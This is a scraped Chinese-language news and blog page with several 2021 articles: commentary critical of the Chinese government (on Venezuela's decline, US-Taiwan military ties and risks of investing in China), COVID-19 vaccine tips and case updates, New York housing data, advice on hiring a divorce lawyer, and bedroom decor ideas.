自从查韦斯当选委内瑞拉总统开始他便口无遮拦地在电视上发表各种反美演说,他从不放过 任何攻击美国的机会,从而使美委两国陷入敌对状态为此,查韦斯本人也获得“反美急先锋” 的称号。

查韦斯的外交政策是与美国为敌,与独裁国家结盟。委内瑞拉的友好盟国主要有古巴、伊朗、中国、津已布韦、朝鲜

5、大肆印钞导致市场通货膨涨

货币是一个国家的信用,天量印钞,纸币泛滥,最后导致经济崩溃。在委瑞拉,过去的公交车票只要2(玻利瓦尔)一张,如今却涨到200万元一张。买张车票或买卷卫生纸都需要提着一蓝子钞票。也就是说,委肉瑞拉货币还没有卫生纸值钱。

据媒体报道,200811日,委内瑞拉发行新币,以10001的比率兑换成旧币。

20188月,再次发行新货币,兑换比率为110万。

20196月,再次发行面值1万、2万和5万的大面值货币。

国内通胀率出现火箭一般的飙升!

委内瑞拉货币玻利瓦尔,从过去的10兑换1美元贬值到如今180玻利瓦尔兑换1美元。黑市价格更低。

6废除三权分立制度

1999年12月,查韦斯通过修宪法,废除传统的三权分立制,建立五权制衡的政治体制实际上,通过《授权法》不断强化总统的权力,谓的五权制衡便成了他一人独裁。他还将两院制改为一院制,说是为了减少议会斗争对施政的掣肘。查韦斯在执政11年中共四次获得特别立法权,为他取消总统连任限制扫除法律障碍

7接班杜罗靠贷款维持政府运作

马杜罗是查韦斯的铁杆追随者,查韦斯死后,马杜罗于2013年4月14日当选委內瑞拉总统。查韦斯逝世时的经济政策,大部分得到继任的马杜罗继续实行。马杜罗接任总统之时,委内瑞拉已经需要面对由查韦斯的政策的高通胀以及货品短缺

国际货币基金组织披露,2014年,委内瑞拉开始陷入经济衰退。到2016年,委国的通胀率高达800%。由于经济不断恶化,到2018委国的通胀率达到100%,到2019年,市场通胀率达到200%

马杜罗当选总统以来,委国就像一个依靠打吊针来维持生命的高危病人,政府的运作完全依靠贷款来支撑。截至20193月,委国政府和国营企业合计有1500亿美元债务,这其中向中国贷款650亿元。

委国由富变穷的歪招,中共都学会

从委内瑞拉由富变穷过程来看,对中国具有很强的警示作用。但很可惜的是,中国当权者为了一己之私,不但没有从中汲取教训,反而是照着葫芦画瓢,更可怕的是,面对当权者的倒行逆施,许多中国民众还在为其歌功颂德。真是可悲呀!

2021-03-31 / by / in , , , ,
美台军事合作常态化,中共在国际成了过街老鼠!

美台军事合作常态化,中共在国际成了过街老鼠

文|古风

中共始终把美国视为武统台湾的最大阻碍,每当中共下决心要对台动武时,美国总会在关键时刻作出反应。

中共武力犯台进入倒计时

据新华社报道,2021年3月24日习近平在视察驻福建的武警第二机动总队时说“坚持聚焦备战打仗,深入推进实战实训、联战联训、科技强训、依法治训,紧贴多样化任务需求,加强针对性适应性训练,加强合成化专业化训练,加强新力量新装备训练,提高训练质量和层次。”有评论分析,习此次福建之行,意味着中共武力犯台进入了倒计时。

武警第二机动总队是中共针对武统台湾而组建。2015年中共军改后,武警部队新组建第一、第二机动总队。其中武警第一机动总队驻扎河北;武警第二机动总队便驻扎福建。福建官媒曾经称,武警第二机动总队“是一支流淌着红色血脉的部队,是一支合成化专业化的战略战役机动力量,是一支关键时刻能发挥一锤定音作用的重要力量”。针对中共这一举动,奥巴马政府当即就派遣军舰往有争议的南海地区。次习近平武警第二机动总队官兵话,美国很快又作出了反应。

美台军事合作将成常态化

据台湾媒体报道,针对中共军舰不断进入台湾海峡示威,2021年3月25日,美国和台湾签署了一份“台美海巡合作解备忘录”,这份协议表面上是针对海上巡逻,但实际是美台海巡署变相向“第二海军”转型。

有专家分析认为,台湾与美国签署这份备忘录,意味着台美双方突破了军事合作禁区,把台美军事合作直接推向“合作公开化、议题制度化、项目明文化、协防常态化”。 此次美台军事合作,无疑是再次给了中共一只响亮的耳光。

围堵中共已成美国的重大战略

媒报道,美国海岸巡防队被称为“第五军种”,火力强大。早在2019年3月,美国海巡舰伯索夫号已经和海军驱逐舰柯蒂斯魏柏号。

一起,航行通过台湾海峡。在美军未直接与台湾公开军事合作之前,先由半民间半军方的海巡部队合作,这显然是两国军事合作的前奏和预演。

协防台湾、围堵中共,这已成国及其盟军的重大战略。今年3月,在日本召开的美、日、印、澳四方安全会谈后,日本公开表示美国如对台出兵援手,日本有义务协助美军也就是说,中共一旦武力犯台,将会受到美日等国联合打击“台美海巡合作瞭解备忘录”的签署又进一步强化了美台军事合作。总之美国主持召开四方安全会谈布林肯访日韩、布林肯参加北约会议系列行为,目的都是为了打击中共的不轨之心。

中共拜登总统抱有企图

此前有媒体分析,拜登当选美国总统可能会放弃台湾,原因是拜登与中共之间存在利益勾兑,认为拜登可能会改变对华政策

美国大选期间,中共几乎不失一切代价助拜登当选。可谓是无利不起早,中共之所以这样做,也有可能得到了拜登或其子种承诺,否则,中共不可能会拼老命去得罪特朗普来帮助拜登。

有专家分析,中共对美系的最大诉求离不开以下重点:

一是希望国对华贸易政策松绑;二是希望美国在对台问题上继续维护“三个公报” 给中共犯台制造借囗;三是希望美国支持中国的“一带一路” 投资项目;四是希望美国放松对华投资的金融政策;五是希望在人权问题上能睁一只眼,闭一只眼;六是希望美国不要在南海问题上不要纠缠不休;七是希望美国放松对华签证政策。而在上述诉求中,中共最在乎的应该还是美台关系问题。

美国对华共识无人能轻易改变

可事实上,反共限共早已成美国两党的共识任何人都无法轻易改变,拜登也不例外早在2020年11月12日,美国国务卿蓬佩奥的首席中国政策和规划顾问余茂春接受美国之音时说,在中共的行为没有发生根本改变的情况下,对华政策理念和方式也没有改变的理由。不管谁当总统,他毕竟是美国的总统,他一定是按照美国人民的利益来考虑。这是美国民主共和两党的共识。

余茂春说,在对华问题上,美国两党已形成三大共识:抛弃打中

国牌、抛弃以接触为中心、认清中共不等于中国人民。

第一,抛弃自尼克松政府以来几十年实行的打中国牌策略。余茂春说,中国是美国国家安全的最大威胁,我们不是通过打中国牌去获取另外一种战略目标,而就是针对中国来制定我们的对华政策。所以中国再也不会是美国战略中的一个过客。

第二,放弃了以接触为中心的对华政策。余茂春说,接触政策没有改变中国,却让中共通过接触政策来改变美国甚至全世界 ,而过去接触政策中的所谓“求同存异”是非常危险的,往往为了经济利益而牺牲了人权、社会制度、政治制度等方面所谓的‘异’,即普世价值观。

第三,中共不等于中国人民。余茂春说,特朗普政府明确理清了中共不等于中国人民概念。

中共在国际上如过街老鼠

3月24日,美国国务卿布林肯与欧盟外交与安全政策高级代表兼欧委会副主席博雷利举行会谈。会后,双方发表联合声明,同意重启美国与欧盟之间关于中国的双边对话。双方一致认为,与中国的关系是多方面的,包括合作、竞争和系统性对抗等。双方还决定继续在对话框架内举行高级官员和专家级别的会议,讨论互惠主义等议题,包括经济问题;复苏;人权;安全;多边主义;以及与中国在气候变化等领域进行建设性接触。”

声明还提到,美欧双方将通过合作“促进安全、可持续、自由和开放的海上供应路线和供应链”;将共同应对俄罗斯“具有挑战性的行为”;以及在防疫和疫苗分发、气候变化、伊朗和土耳其等问题上共同努力。

除重启中国双边对话友外,中国和欧盟在去年12月完成的中欧投资协定谈判也是布林肯此行目标。值得一提的是,布林肯“赶赴”北约和欧盟的时间耐人寻味。就在前不久,欧盟30以“人权”为,对中国新疆有关人员和机构实施制裁,中国强烈谴责并立刻反制,中欧关系为此陷入了紧张的局面。

中共外交步履为艰。到目前为止,欧与中共关系紧张,而且中共与日本、加拿大、印度、大利亚、缅甸等国的矛盾也正在不断加剧。随着国际社会对新冠疫情的溯源,中共在国际上就像一只国街老鼠,人人喊打!

中共成过街老鼠,人人喊打!

2021-03-31 / by / in , , , ,
在中国投资的十大陷阱

在中国投资的十大陷阱

文/古风

外国企业在中国投资经常遇到各种陷阱,许多投资者往往是人财两空。前湖南省副省长于幼军有句名言:官员们在招商引资时装孙子,而且还甘当“三陪”(陪吃、陪喝、陪玩) ,当外资引进后,官员们就开始装大爷,外商(伤)就会被打成内商(伤),內商(伤) 就会被打成重伤。于幼军的这句名言充分反映了外国企业在中国投资的真实状况。以下是中国政府招商引资的十大陷阱:

1. 民企设立党组织陷阱

2018年11月,中共公布了《中国共产党支部工作条例(试行)》,其中包括民营企业、外企等在内的所有企业以及其他行政和社会组织、社区、学校、科研院所、军队等基层组织设立“党支部”的规定。

据报道,截止2019年12月,中国的民营企业超过3,200万家,个体工商户超过7,600万户。按照该工作条例规定,凡是有固定经营场所,人员在3人以上的企业(包括个体工商户) 都必须要建立党组织。截止2020年10月,中国民企(包外资企业) 的党组织覆盖率已达到90%以上。

中共在民企设立党组织的目的就是为民企国有化作准备。此举比当年委內瑞拉把私企变国企的手段更加高明,委內瑞拉是直接征用或兼并,而中共是先在企业设立党支部,后派中共官员进驻企业担任党支部或党委书记、公司董事局顾问等职务,对企业实行先摸底后掌控,优质民企最终都要被国有化。

2. 官员换届陷阱

在中共治下的中国,往往是新官不理旧帐,一任父母官一个新主张。每当官员换届时,就要对产业发展定位作出重大调整,这对投资者来说就是一种致命的打击。

例如:2013年,中共在全国推行网络经济,在各地政府的大力推动下,一大批网络金融企业应用而生。当年某美国上市公司在河南某市投入巨资与政府合作建家居采购总部基地(线上线下模式) ,当该企业投资近3亿元将产品展馆建好时,该市的市委书记就被换人,

新市委书记到任后,他认为前任市委书记建家居采购总部基地的决定是错误的。于是,他当即废除与企业的合作协议,导致该项目直接破产。事后,一切损失都由企业承担。这种案例在中国不在少数。

3. 政府强征强拆陷阱

在中国,政府对企业或个人实施强征强拆的案例是不胜枚举。2015年,有一位加拿大华侨在天津买了上千亩土地准备建物流园(土地为工业用地),当物流园刚动工不久,当地某房地产开发商便看上了该地段。当地政府为了将这块土地卖个好价钱(商业用地比工业用地的价格贵10倍以上),便强行中止物流园项目的建设。

事后,当地政府只是将购地款原价退还给投资人,但其它损失一律不负责,导致该投资人直接损失5000多万元。后来投资人以政府违约为由准备去法院起诉,可当地法院根本就不受理。

4. 政府统计数字造假陷阱

在中国, GDP数字造假早已不是什么秘密。为了完成上级政府下达的年增长率,各地方政府往往都会要求企业配合政府虚报产值。例如:某公司当年实际销量为1亿元,政府可能会要求公司上报2亿元或3亿元,甚至更多。在产值统计过程中,政府要求企业法人必须在《企业产值申报表》上签名并加盖公司的公章。

对于企业来说,这就存在法律隐患。因为企业纳税与申报数字明显不符,政府需要企业配合造假时,他们会说这与漏报税收无关,可当政府要侵害企业财产时,公司每年填写的《企业产值申报表》就成了偷税漏税最有力的证据。

5. 人质外交陷阱

在中国,人质外交是屡见不鲜。2017年3月,中共为反对韩国政府同意安装美国“萨德”反导弹系统,官媒便煽动民众在全国抵制韩国乐天超市。中国乐天各地超市都被当地政府开罚单、被执法部门“重点关注”,其中国官方网站也遭到攻击而瘫痪,在的112家乐天玛特卖场全部遭到停业,后来被迫退出中国。

2021年3月,因中国与美欧关系紧张,中共为报复美欧等国,在官方媒体引导和策划下,在中国掀起一场抵制洋品牌运动。瑞典知名品牌H&M、美国运动品牌耐克、阿迪达斯等一大批外国品牌在中

国市场都受到打击。一些所谓的爱国网民在H&M等分店外抗议,情绪激动,高呼抗议口号。甚至连港、台艺人也卷入这场抵制洋货运动,许多艺人被迫表态解除为这些品牌代言的合约。官媒指责外国部分品牌“吃中国的饭、砸中国的锅”,还称“中国网友愤怒了”,事件引发国际社会强烈反感。

这种人质外交对投资者来说无疑致命的风险。如今中共在国际四面树敌,许多外国投资者在中国往往都是躺着中枪。

6. 中共统战陷阱

中共窃国有三大杀手锏,即:枪杆子(暴力)、笔杆子(谎言) 、统战(利益诱惑) 。习近平执政后更是变本加利。

2020年9月,中共中央办公厅印发了《关于加强新时代民营经济统战工作的意见》。该《意见》明确规定,统战工作要面向所有民营企业和民营经济人士,工作对象主要包括民营企业主要出资人、实际控制人,民营企业中持有股份的主要经营者,民营投资机构自然人大股东,以民营企业和民营经济人士为主体的工商领域社会团体主要负责人,相关社会服务机构主要负责人,民营中介机构主要合伙人,在内地投资的港澳工商界人士,有代表性的个体工商户。

对于外商投资者来说,要么与中共同流合污危害世界,要么退出中国,如果投资者既不配合中共统战,又不退出中国,其后果可能是人财两空。

7. 官员贪腐被查陷阱

在中国,无论办什么事都要讲人情关系,企业做得越大,靠山就要越大,若是没有靠山,企业办事是寸步难事。但一旦某个官员被查,就必然会牵扯出一大批行贿的投资者,而中共的纪检部门就会借机向投资者发难并实施敲榨,投资者若是不肯破财,就要承担刑事责任,所以投资者只能破财消灾。类似案例,几乎所有在中国的企业家都经历过。

8. 中共国家安全法陷阱

在中国,国安的权力大过天。2015年7月1日,《中华人民共和国国家安全法》正式实施。从此以后,凡是在中国境内的港台及外国投资者都会受到重点监控,其邮件、微信,包括在境外的通讯软件都会受到监控,投资者的个人隐私及商业机密都会一览无遗地曝露

给中共,如果发现有人对中共或中共领导人不满的言论,其后果将会很严重。这对投资者来说,几乎是毫无安全感可言。

9. 军民融合陷阱

2017年11月23日,《国务院办公厅关于推动国防科技工业军民融合深度发展的意见》。按照该《意见》规定,凡是与军工需求对口的企业信息、人才、技术、设备设施等都是被融合对象。为此,凡是被中共看中的企业或个人就必须要服务中国军方,如果不配合就会麻烦不断。

10. 知识产权陷阱

强制技术转让是引发中美贸易战的重要因素。2019年5月,中共出台了《外商投资法》,外资企业普遍反映中共借助《外商投资法》强行要求外资企业进行技术转让。尽管中共对此不予承认,但事实却不容否认。

2019年4月,美国在华商会发布年度白皮书指出,美中两国如果要达成双方都满意的贸易协议,就必须解决包括强制技术转让在内的”结构性问题”。可见,在中美贸易战中,减少贸易逆差并非美方唯一目的,这反映出美国政府官员对于中国的强制技术转让、歧视性经济政策和网络盗窃问题有多么重视。

总之,在中国投资,最大的风险不是来自正常的市场竞争,而是来自中国政府。中国是一个人治社会而非法制社会,其出台的各种法律都是为了维护中共专制统治,而不是为了保护广大投资者。因此,投资者稍有不慎就要临各种投资陷阱,并落得人财两空。

2021-03-31 / by / in ,
接种新冠疫苗前,要做哪些准备?有些疾病,也有些生活小细节,接种前不可忽视

文|无疆行者

新冠肺炎仍然在全球持续流行,而目前新冠疫苗接种也在世界各国全面铺开,对不少人来说这是一个好消息。但是大家一定要了解,像所有药物一样,疫苗也可能会引起一些副作用。在准备接种疫苗前,充分做好各项准备,才会让接种过程更安全和顺畅。

一,哪些病症不适合注射新冠肺炎疫苗?

前去注射疫苗前,最重要得先做的,就是确认自己是否适合接种。大家到现在应该都知道,16岁以下孩童、孕妇、有严重过敏,以及免疫系统受损的人都不应该注射疫苗。

对于哪些疾病不适合接种疫苗,新加坡卫生部给出以下建议:

(图片来源:新加坡卫生部)

如果还是不太清楚自己是否适合注射疫苗,你可以事先询问你的医生。也可以向疫苗接种中心的医生查询。

二,在接种疫苗前要做哪些准备?

对于接种前需要做哪些准备,AX安盛香港官网给出了5条建议,如果你遇到这种情形,不妨对照一下,在接种前提醒自己或身边的人:

1,想清楚自己有没有对任何东西过敏?

如果有对任何东西过敏,就要把完整的过敏史记录带去接种中心。其实,不是所有过敏都会影响新冠疫苗注射,但详尽的过敏纪录就能让医护人员作出更准确的评估。

2,携带自己或亲人现正服用的药物清单

如果你近期有服用薄血药的纪录,就需特别注意。新冠疫苗是采取肌肉注射,因此如正服用华法林 (warfarin) 一类的薄血药,在接种时就需加倍小心,并先由医护人员作出评估。

至于亚士不灵其他新型口服抗凝血药物,也可能可以注射新冠疫苗,只要你在接种前让医护人员了解你的情况,他们就会知道如何处理。

3,尽量不要同期接种其他疫苗

虽然目前没有明确医学证据说明不应该这样做,但如果同期接种两款疫苗,一旦出现副作用,就很难知道到底是哪一种疫苗产生的问题。

4,穿短袖上衣方便接种

由于疫苗是接种在上臂的肌肉,要卷起长衣袖甚为不便,所以最好穿外套,内搭短袖上衣,那就方便多了。

5,接种日应当预留充足时间

接种疫苗的过程可能不须一分钟便能完成,但在接种前须核对姓名及其他个人资料,在接种疫苗后,则一般须进行半个小时左右作观察,因此整个过程可能超过半个小时甚至一个小时。

三,接种前遇到的常见问题

美国UC健康初级保健(UCHealth Primary Care)官网凯蒂·马克利(Katie Markley)博士,针对人们接种前经常遇到的一些特殊问题,给出了一些非常好的提示:

1,接种前,体内保持足够的水分

每天饮水有助于整体健康和预防脱水。脱水容易导致意识不清,情绪变化,身体过热,便秘以及肾结石。在接种疫苗前,保持足够的水分,有助于你的健康。

2,接种前,需要测试病毒吗?

不需要。但需要戴口罩,并和他人保持6英尺的距离。在接种后,也不需要测试抗体。

3,哪条手臂接种比较好?

任何一条手臂均可接种。但许多人选择接种那条不常用的手臂,根据个人情况,选择怎么做对你最方便。如果你喜欢侧睡,会把压力放到右臂上,那就接种左臂。

4,准备接种的前晚,应限制饮酒

饮酒过多,可能导致脱水和宿醉。尤其是宿醉可能和第二次接种前出现的副作用相互交叉,应避免陷于这种处境,不要给医生出难题。

5,可以吃东西吗?

可以。接种前就餐没问题,还有助于那些怕打针以及有眩晕历史的人。

6,哪些不可打疫苗?

最近感染Covid-19病毒者,在接种疫苗前,应该先康复,并完成隔离期,隔离期通常是10天。如果住院或者患有某种疾病,隔离期可能会更长一些。

7,接触了病毒怎么办?

等待14天。如果未出现症状,就可以预约接种。如果你接受过新冠病毒的血浆治疗或者抗体治疗,需要等待90天。

8,如果准备接种其它疫苗,应该等待14天;如果已接种了其它疫苗,也要等待14天后,再接种Covid-19疫苗。

2021-03-30 / by / in , , ,
新冠肺炎疫情更新: 全美似乎进入第4波疫情 纽约州每日感染人数全美最多

【金牌网讯】目前全美新冠肺炎疫情呈上升趋势。过去一周,全美感染率上升了12%,每日死亡病例上升10.5%。截至今日(3月30日上午10:50),全美感染总人数为30,229,300,死亡人数累计已经高达55,000。

尽管许多州扩大了疫苗接种资格,但全美似乎一九迎来了第四波高峰。

近两周内来平均每日新增案例,首次突破65,000人/日。比两周之前平均每天增加19%。华盛顿州、佛蒙特州和北达科塔州均报告新增案例大幅增加。

新增感染人数最多的州是纽约州,纽约州总感染人数189万人。昨日新增8,022人,总死亡人数50,441人,新增122人。纽约市截至昨日总感染人数84万人,过去两周新增5,335人,总死亡人数31,117人,新增91人。

部分数据来源于网站:https://www.worldometers.info/coronavirus/country/us/

临近纽约州的康涅狄格州、新泽西州和滨州,疫情也相当突出。康州新增3,229人,宾州新增3,150人,新泽西州新增3,621人。

疫情增长比例最快的州为密歇根州。过去一周,密歇根州新增比例高达57%。该州本月稍早时期,刚刚放松与疫苗相关的限制措施。住院人数也迎来最大增长。昨日该州新增感染4619人,新增死亡人数9人。

纽约州疫苗接种速度正在加快。从本周二(3月30日)开始,30岁及以上的纽约人,预约后均可注册接种新冠疫苗;75岁以上长者在以下三处地点Citi Field,Brooklyn Army Terminal ,Bathgate Postal Station,无需预约,即可前往接种,为那些不习惯于上网预约的年长者提供了方便。

佛罗里达州从本周一(3月29日)开始,对40岁以上者均可接种疫苗。下周一(4月5日),所有佛罗里达州18周岁以上的人,均可接种疫苗。

在加州,有1,800万人口从本周开始,有望进入更宽松的限制环境。

本周一拜登宣布,到4月19日,将有90%的美国成年人,有条件在离家5英里范围内接种疫苗。过去一周平均每日接种疫苗人数超过270万人。

据“发病率和死亡率每周报告”(Morbidity and Mortality Weekly Report)发表的一项新研究显示,接种一次疫苗,就可有效帮助医疗人员预防Covid-19。

这项研究从去年12月14日开始到本月3月13日,研究了4千名接种了疫苗的医疗人员和紧急救助人员,发现辉瑞(Pfizer )和莫得那(Moderna)疫苗在接种一次后,有效率高达80%,第二次接种后有效率高达90%。

 

 

 

 

 

 

2021-03-30 / by / in , , , , ,
纽约州房市 库存量继续低迷 卖方得势

文|地產小尖兵

纽约州房地产市场,自去年夏季房市爆发以来,买家迅速卷土重来,导致秋季和冬季购房季节繁忙。与纽约市房地产市场不同,纽约州房市已经从大流行的经济影响中恢复过来。强劲的住房买家需求改变了近3年来一直在降温的住宅销售市场。这也正是卖方的机会,迎来主动谈判的优势。

根据纽约特区(NYSAR)的年度报告,到2020年,纽约房市因为库存仍保持在历史最低水平,致使不同的住房市场变成卖方市场。卖家平均收到原始销售价格的98.4%,同比增长1.1%。在西岸的旧金山湾区,总是破百的销售与上市价比,纽约州的买家还是有些微的谈判空间。

纽约州房地产市场也因库存量低,造成价格上涨。(Pixabay)

高的买卖比表明卖方对买方具有更多的谈判能力。 2020年与上一年相比,活跃的房源减少了22.6%。库存下降导致房价上涨。结果,该年度的整体销售价格中位数房价增长了11.6%,达到31万美元。

许多行业专家一直预测,纽约将于2021年实现强劲的房地产升值。随着城市面临长期复苏,2021年将是房地产所有者的绝佳选择。不同的业务部门以不同的方式,以不同的速度开放。当前的趋势表明,纽约州房屋市场在寒冷的天气中仍然活跃,销售量高于正常水平。

根据纽约州房地产经纪人协会的最新住房报告,纽约州房地产市场在强劲的买家需求和强劲的市场基本面的推动下开始走强。新上市房屋数量下降15.5%至12,265。待处理销售额增长22.9%,达到10,588。库存减少26.7%至38,885单位。

月库存量同比下降了34%,从4.7个月下降至3.1个月。纽约州房地产市场的全州中位销售价格继续攀升,从2020年1月的295,000美元,增加到2021年1月的355,000美元,同比增长20.3%。

另外还有几项数据1月/2021:
-新上市房源同比下降15.5%。
-与去年同期相比,待完成(Pending)销售额增长了22.9%。
-完成销售额比去年增长了16.7%。
-库存仍然是一个大问题,因为待售房屋数量下降了26.7%。
-本月房屋供应量为3.1个月,与去年同期相比下降了34.0%。
-全州销售中位数价格上涨了20.3%,至$ 355,000;平均价格跃升14.9%至444,608美元。

2021-03-30 / by / in
在美国离婚,如何找到最适合您的离婚律师?

文|他乡月更明

近日澳洲一家律师事务所在代理一位悉尼名媛的离婚案时,被发现多收了70万美元律师费用。负责审查费用是否合理的法庭评估员表示,这位女士缴纳了380万美元巨额律师费用,律师事务所们虽向她保证会考虑成本问题,但还是举办了在评估员看来,过多人参加的不必要的内部会议,一些发票也缺乏细节,使这些多收的费用看起来不太合理。

一个好的离婚律师,不仅要能够成功的维护被代理人的利益,还应该尽力帮助当事人减少离婚过程中的时间、精力和资金上的巨大消耗。因此,在寻找离婚律师时,就需要考察其品德、资历、经验、心理等多种因素。我们综合了行业内一些专业人士的经验,建议在聘请律师时要考虑以下5个方面。

1 ,面试离婚律师,询问周围的朋友或熟人,多找几个律师面谈

如果亲朋好友中有人经历过离婚案,别忘了请教他们,分享与好律师合作的体验。当然,每个案件的情况不同,适合朋友的律师不一定适合你。

和律师面谈,要精心设计你想提出的问题。你不能问他:你的从业经历是什么?赢了多少案子了?这些简单的问题在你拜访律师之前,就要通过搜索找到答案。另外,一个律师过去的成果,并不能足够证明他适合你。

律师要代表你处理生活的方方面面问题,可能涉及到财务、退休、职业生涯等等多个领域。只有知识广博、实战经验丰富的律师,才能应对案件的复杂性,最大的保护你的利益,同时,让你在离婚过程中仍可正常生活。

因此,多找几个律师面谈,比较、观察到不同律师的人格特质,看他们回应问题的方式。告诉他们你家庭的特殊情况,财务状况,你对离婚的顾虑等等细节,看他们提出的解决方案,对案件处理结果的预测,以及问他们怎样才能得到一个比较合理的结果。

然后,比较不同律师的看法,使用排除法,最好确定那位最令你满意的人。

中华律师楼王雪洁律师 电话: 718-461-8461 纽约民事诉讼律师 纽约离婚律师 纽约移民入籍

2,离婚律师要具备良好的人际沟通能力

这种沟通能力体现在三方面:

一是你和律师之间的沟通。律师需要具备良好的倾听和理解能力,了解顾客真正的想法和期望,并且能够以顾客能理解的方式做出解释,否则,以后的合作中就可能产生冲突。

二是你的律师还要做到,能够与你的配偶及他的律师之间保持有效的沟通。双方良好的沟通有助于开展有效的谈判,减少相关费用。尤其是在上庭前,如果你的律师能够就一些关键问题与对方达成协议,对双方都很重要。

三是与法庭的沟通,如果最终出庭,与法庭保持良好的沟通,有助于获得法庭的信任,帮助法官最终作出正确的裁决。

 

在面对压力时能保持沉著和冷静,更能体现出是否真正具备这一沟通能力。

这种沉著的气质不只是体现在和你沟通的时候,还体现在在面对对手,面对法庭,以及在事情的发展与你们的愿望不一致时,是否还能够保持这一冷静的特质。

在离婚过程中有时会发生一些意料不到的情况,加上你不能完全预料对方或法庭会做出什么决定,包括突发情况,这时候,一个具备冷静特质的律师,就能够及时调整思路和战术,把情势导向有利的结果。

3,注意第一印象,如果对离婚律师有疑虑,要弄清楚问题是什么

和律师接触的第一印象,可能会影响你们今后的沟通。如果你感觉有些不对,就要注意查看这种感觉,看看它到底是什么原因所致。有时候,一见面,你可能觉得他就是你要找的那种律师。但也要注意,你的第一印象,不要被律师办公室墙上各种牌匾或者被律师身上的名贵西装所误导。

对律师的能力有信心,对你和律师之间的沟通方式感觉良好,这两点很重要,会直接影响今后的合作。尤其在案件出现不顺利时,良好的信任和沟通,能够保障双方继续正面解决问题,而不是半路分道扬镳。这两点,最好在第一次面谈时就确定下来。

要寻找那些代理过类似案件的律师。比如,如果涉及激烈冲突的监护权,或者涉及大量资产的分配,就要找有这种专长的律师。可查看律师的继续教育资历和专业证书,可由此了解他们是否具备相关能力。

对于不是很精通英语的华人而言,选择律师时,最好不要和你有语言障碍,以免造成误解。因此,选择华语律师,会给双方合作带来很多便利。

4,注意不同风格的离婚律师,确定你最需要的类型

律师的做事风格也是要考虑的因素。

有些律师展现出一种进取风格,有的则强调沟通和解决问题的能力,有的律师富有同情心,能够从情感上给与当事人很大的支持,有的律师给人感觉缺少人情味,但可能很专注于某个领域。

有的律师承诺你,让你得到你想要的一切,这时候就要非常小心。因为,从长远看,那种一味好斗,不懂妥协的处理方式往往会导致很多难题,最后把案子弄得更复杂、更昂贵,还会更深的伤害双方的感情。离婚是解决已经存在的分歧,而不是去挑起更多的争斗。

如果你和配偶想和解,经济而快速的解决离婚问题,就要避免选择那种喜爱顶牛、不懂让步的律师。有些律师持有合作律师证书,他们致力于解决案子,而不是去钻法律的空子,他们可能更适合你。

5,离婚律师要有足够的时间和精力来处理你的问题

你不可能是你律师的唯一客户,他可能还忙于其它案件,但即使如此,一个好律师也不会以此为借口,来解释忘记了回复你的来电或邮件。

好的律师即使不能及时回复你的电话,但最起码发一个留言或者一个简单的邮件,可以让你知道什么时候会联系你。这样,有利于你计划当天的日程,不会陷于无法确定的焦虑之中。

如果律师只是在忙别的案子,而没有时间谈你的案子,那可能意味著这个律师更关注你的钱包,而不是你的真正利益。

有的律师有经验丰富的法律助理、律师助理和辅助律师来协助他工作。这样,一些辅助文件或程序的处理,就可以交给助理去做,帮律师留下更多时间去沟通、思考、应对那些关键的问题,也可避免服务的不周。

因此,选择一个律师团队,还是选择一对一的律师服务,也会产生不同的体验。一般来说,选择团队,你就无法获得你想要的那种个性化的服务体验;如果选择那种提供个性化服务的律师,他可能很忙,有时不能立即接你的电话,缺少那种律师团队特有的强大保障能力。

每种类型,各有优缺点。根据自己的需要,权衡利弊,最终确定合适自己的律师。

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2021-03-28 / by / in , ,
迎接春季的5种美丽卧室设计

文|光影瞬间

漫长而寒冷的冬季即将结束,迎向春天之际,再多给卧室装饰一点爱都不为过,让家人有不同的居住环境。在Instagram有不少令人向往、憧憬的装饰,找出几个范例,依样画葫芦,我们也能一样住在样板屋。以下是地产网站realtor.com精选的几款卧室设计,看看哪些有你喜爱的。

无论您是要对空间进行一些大的更改,还是只是对空间进行一些小的更改,心中势必先有一个蓝图,这些出色的设计,将提供你一个方向:

1. 锻造床

 

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黑色锻铁不仅适合维多利亚时代的人们,在现代卧室中仍大放异彩。锻铁使您的房屋具有真正的复古魅力。它的黑色有助于各种室内设计主题融为一体。即使是重金属制成,锻铁家具的手感也较轻,条状的组件使得光线不会受阻,并让空间看起更开放。图片中这款Barbera矮型床可现代化您的卧室,并为您创造宽松的卧室感。

2. 芥末酱毯子

 

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如果您想要一项有趣而丰富多彩的更改,而又不需要那么多的改变,那么您可能可以试试在卧室加入芥末黄颜色。你或许或感觉有点难想像,但看一下图片,这件床上的新西兰绵羊毛毯就是一种芥末酱的颜色,其实很好搭配。

随着人们对全白外观和无聊的淡淡中性色的厌倦,土黄色正变得越来越流行。芥末黄是一种受欢迎的选择,因为它既体现了大地色的趋势,又使人看上去清新而振奋,这个颜色也很容易与带有黄色底色的木料很好地融合。(歡迎尋找:纽约室内装修)

3. 衣橱

 

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✨ S A R A H ✨(@haighyshomeinyorkshire)分享的貼文


我们始终都需要更多的存储空间,尤其是衣橱,一年到头都有理由再满一件裤子、上衣。额外添加的衣橱在旧房,以及需要更多空间的公寓或房屋中非常受欢迎,并不是每个卧室都配有壁橱,因此,额外购买的衣橱除了增加收纳衣物的功能,您还可以通过将衣橱涂成与墙壁相同的是不同的顏色,来获得意外搭配的外观。

就如这款简单而优雅的霍华德衣橱,然后把墙壁油漆成适合您的卧室的颜色,或是选择一款与您卧室相得益彰的衣橱。(歡迎尋找:纽约室内装修)

4. 书柜床头板

 

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A&D Vanessa Faivre(@advanessafaivre)分享的貼文


越来越少的出差机会和更多的时间花在家里,在卧室里创造一个个人空间非常重要,尤其在睡觉之前看一本书,会比盯着手机看更好。打造一个有书柜功能的床头板,会是一个很棒的点子,计有额外收纳空间,又能随手拿到一本书。当然既然要看书,灯光的配置也要适当,不足的灯光将有害眼睛阅读。

5. 梦幻的大自然印花

 

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Boho by Deco 🌾(@boho.by.deco)分享的貼文


说到卧室的绿洲,这些自然界里的图案最能让我们感到一种舒心。自然图片现在很受到欢迎,您能将户外带入户外,如果搭配得宜,会看起更漂亮。例如图片中的潘帕斯草(Pampas grass)近来风靡一时,因为它具有中性色和美丽的质地。由于现代人有众多过敏原,将某种植物或动物带入家中,不一定适合,但通过图片、照片会是一个迅速改变室内的好选择,如果再上适当的装潢就会更耳目一新。

如果对以上装修有兴趣,可联络
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2021-03-28 / by / in , , , ,
专家:打坐给人体带来神奇改变 增强免疫力抗病毒 改善睡眠 提高注意力

文| David Wei

科学家研究发现,打坐可以给人体带来神奇的改变,能改善大脑功能,减轻焦虑与压力,降低新陈代谢,同时强化免疫系统。
打坐是改善身体、训练大脑的有效方法

